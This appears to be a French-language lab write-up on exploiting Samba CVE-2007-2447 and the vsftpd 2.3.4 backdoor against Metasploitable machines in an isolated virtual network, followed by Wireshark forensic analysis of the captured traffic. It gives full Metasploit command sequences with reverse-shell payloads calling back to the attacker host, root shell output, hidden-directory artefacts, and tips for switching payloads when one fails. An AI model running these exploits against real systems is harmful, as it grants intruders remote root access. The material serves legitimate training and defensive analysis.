Principes des vulnérabilités ciblées
L'exploitation des services réseau sous Linux repose souvent sur des failles historiques non corrigées dans des environnements legacy. Cette analyse se concentre sur deux vecteurs d'attaque majeurs :
- Samba
usermap_script(CVE-2007-2447) : Cette faille affecte les versions de Samba comprises entre 3.0.20 et 3.0.25rc3. Le service ne filtre pas correctement les noms d'utilisateurs lors de l'exécution du script de mappage. Un attaquant peut ainsi injecter des commandes shell via le champ du nom d'utilisateur, entraînant une exécution de code à distance (RCE) sans authentification. - vsftpd 2.3.4 Backdoor : Une porte dérobée malveillante a été introduite dans le code source de cette version du serveur FTP. Lorsqu'une tentative de connexion est effectuée avec un nom d'utilisateur contenant la chaîne
:), le service ouvre secrètement un port d'écoute TCP (généralement le port 6200), offrant un shell interactif sans nécessiter de mot de passe.
Configuration du laboratoire de test
L'environnement de test est isolé dans un réseau virtuel. Les adresses IP ont été configurées pour refléter une topologie de sous-réseau standard.
| Rôle | Système d'exploitation | Adresse IP | Service ciblé |
|---|---|---|---|
| Machine attaquante | Kali Linux | 10.10.14.5 | Metasploit, Wireshark |
| Cible 1 | Ubuntu (Metasploitable) | 10.10.14.10 | Samba |
| Cible 2 | Linux (Metasploitable) | 10.10.14.20 | vsftpd |
Pour configurer manuellement l'interface réseau de la cible sous Ubuntu, les commandes suivantes sont appliquées via les outils iproute2 :
ip addr add 10.10.14.10/24 dev eth0
ip route add default via 10.10.14.1
Exploitation de la faille Samba (CVE-2007-2447)
Avant de lancer l'attaque, la connectivité réseau est vérifiée depuis la machine Kali :
ping -c 3 10.10.14.10
Une fois la cible confirmée active, le framework Metasploit est initialisé pour configurer le module d'exploitation et la charge utile (payload) :
msf6 > search type:exploit platform:linux name:samba usermap
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > show payloads
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_bash
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.14.10
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.5
msf6 exploit(multi/samba/usermap_script) > set LPORT 4433
msf6 exploit(multi/samba/usermap_script) > check
[*] 10.10.14.10:139 - The target appears to be vulnerable.
msf6 exploit(multi/samba/usermap_script) > run
Après l'établissement de la session inversée, les commandes de post-exploitation sont exécutées pour valider les privilèges et l'environnement :
id
uid=0(root) gid=0(root) groups=0(root)
ip addr show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ... inet 10.10.14.10/24 ...
cat /etc/issue
Ubuntu 8.04 \n \l
Exploitation de vsftpd et capture de trafic réseau
Pour la seconde cible, une approche d'attaque et de défense (Blue Team / Red Team) est simulée. Wireshark est lancé sur l'interface virtuelle de la machine attaquante avec le filtre d'affichage suivant pour isoler le trafic :
ip.addr == 10.10.14.5 && ip.addr == 10.10.14.20
L'exploitation de la porte dérobée vsftpd est ensuite déclenchée :
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.14.20
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.10.14.20:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.14.20:21 - USER: [Username] :)
[+] 10.10.14.20:21 - Backdoor service is listening on port 6200
[*] Command shell session 1 opened
Des artefacts sont créés sur la cible pour simuler une activité malveillante persistante :
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP ...
mkdir -p /tmp/.hidden_cache
echo "compromised_node_2" > /tmp/.hidden_cache/status.log
ls -la /tmp/.hidden_cache/
Analyse forensique du trafic capturé
L'analyse du fichier PCAP généré par Wireshark permet de reconstituer la cinématique de l'attaque :
- Initialisation FTP : Les paquets SYN/ACK sur le port 21 confirment l'établissement de la session de contrôle FTP.
- Déclenchement du Backdoor : Le paquet contenant la commande
USER admin:)est clairement visible. C'est le caractère smiley qui force le daemon vsftpd à binder le port 6200. - Connexion au shell : Une nouvelle poignée de main TCP (three-way handshake) est observée entre le port éphémère de l'attaquant et le port 6200 de la cible.
- Extraction des commandes : En utilisant la fonctionnalité Follow TCP Stream sur le flux du port 6200, l'analyste peut extraire en texte clair les commandes
uname -aet les opérations de création de fichiers dans/tmp, prouvant l'exécution de code à distance.
Résolution des problèmes d'exploitation courants
Lors de l'exécution des modules Metasploit, l'erreur Exploit completed, but no session was created peut survenir. Ce comportement est généralement dû à :
- Un pare-feu local sur la machine attaquante bloquant les connexions entrantes sur le
LPORTspécifié. Il est recommandé de désactiver temporairementufwouiptablespendant les tests. - L'utilisation d'une machine cible incompatible (par exemple, tanter l'exploit vsftpd sur une machine où seul Samba est vulnérable). Il est impératif de vérifier la version exacte des services avec des outils de scan comme Nmap avant de sélectionner le module.
- Un payload inadapté à l'architecture de la cible. Si
cmd/unix/reverse_bashéchoue, il faut basculer verscmd/unix/reverse_netcatoucmd/unix/reverse_perlselon les binaires disponibles sur le système cible.